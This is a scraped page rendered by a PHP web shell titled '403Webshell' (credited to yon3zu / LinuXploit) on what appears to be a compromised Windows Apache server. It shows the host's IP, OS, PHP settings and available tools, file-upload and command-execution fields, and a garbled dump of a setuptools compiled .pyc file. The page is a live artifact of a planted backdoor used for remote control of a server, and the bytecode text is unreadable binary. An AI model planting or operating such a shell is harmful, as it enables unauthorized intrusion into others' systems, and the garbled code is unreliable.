403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.7/site-packages/setuptools/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.7/site-packages/setuptools/__pycache__/archive_util.cpython-37.opt-2.pyc
B

�a��@s�ddlZddlZddlZddlZddlZddlZddlmZddlm	Z	dddddd	d
gZ
Gdd�de�Zdd�Zedfd
d�Z
efdd
�Zefdd�Zdd�Zdd�Zefdd�ZeeefZdS)�N)�DistutilsError)�ensure_directory�unpack_archive�unpack_zipfile�unpack_tarfile�default_filter�UnrecognizedFormat�extraction_drivers�unpack_directoryc@seZdZdS)rN)�__name__�
__module__�__qualname__�rr�;/usr/lib/python3.7/site-packages/setuptools/archive_util.pyrscCs|S)Nr)�src�dstrrrrsc	CsNxH|ptD]0}y||||�Wntk
r4w
Yq
XdSq
Wtd|��dS)Nz!Not a recognized archive type: %s)r	r)�filename�extract_dir�progress_filterZdriversZdriverrrrrscCs�tj�|�std|��|d|fi}x�t�|�D]�\}}}||\}}x4|D],}	||	dtj�||	�f|tj�||	�<qLWx\|D]T}
tj�||
�}|||
|�}|s�q�t|�tj�||
�}
t�|
|�t�	|
|�q�Wq0WdS)Nz%s is not a directory��/)
�os�path�isdirr�walk�joinr�shutilZcopyfileZcopystat)rrr�paths�base�dirs�filesrr�d�f�targetrrrr
@s 
,
c
Cs�t�|�std|f��t�|���}x�|��D]�}|j}|�d�s.d|�d�krRq.tj	j
|f|�d���}|||�}|szq.|�d�r�t|�n4t|�|�
|j�}t|d��}|�|�WdQRX|jd?}	|	r.t�||	�q.WWdQRXdS)Nz%s is not a zip filerz..�wb�)�zipfileZ
is_zipfilerZZipFileZinfolistr�
startswith�splitrrr�endswithr�read�open�writeZ
external_attr�chmod)
rrr�z�info�namer#�datar"Zunix_attributesrrrr[s(




cCs�xV|dk	rV|��s|��rV|j}|��rJt�|j�}t�||�}t�|�}|�|�}qW|dk	on|�	�pn|�
�}|rx|Std��dS)NzGot unknown file type)ZislnkZissymZlinkname�	posixpath�dirnamer0r�normpathZ
_getmember�isfiler�LookupError)�tar_objZtar_member_objZlinkpathrZis_file_or_dirrrr�_resolve_tar_file_or_dir�s

r8c
cs�dd�|_t�|���x�|D]�}|j}|�d�sd|�d�kr@qtjj|f|�d���}yt	||�}Wnt
k
r|wYnX|||�}|s�q|�tj�r�|dd�}||fVqWWdQRXdS)NcWsdS)Nr)�argsrrr�<lambda>��z _iter_open_tar.<locals>.<lambda>rz..���)
�chown�
contextlib�closingr0r'r(rrrr8r6r)�sep)r7rr�memberr0Z
prelim_dst�	final_dstrrr�_iter_open_tar�s"


rCc
Cs�yt�|�}Wn4tjk
rB}ztd|f�|�Wdd}~XYnXx@t|||�D]0\}}y|�||�WqRtjk
r�YqRXqRWdS)Nz/%s is not a compressed or uncompressed tar fileT)�tarfiler+ZTarErrorrrCZ_extract_memberZExtractError)rrrZtarobj�erArBrrrr�s

)r&rDrrr2r>Zdistutils.errorsrZ
pkg_resourcesr�__all__rrrr
rr8rCrr	rrrr�<module>s&
"%

Youez - 2016 - github.com/yon3zu
LinuXploit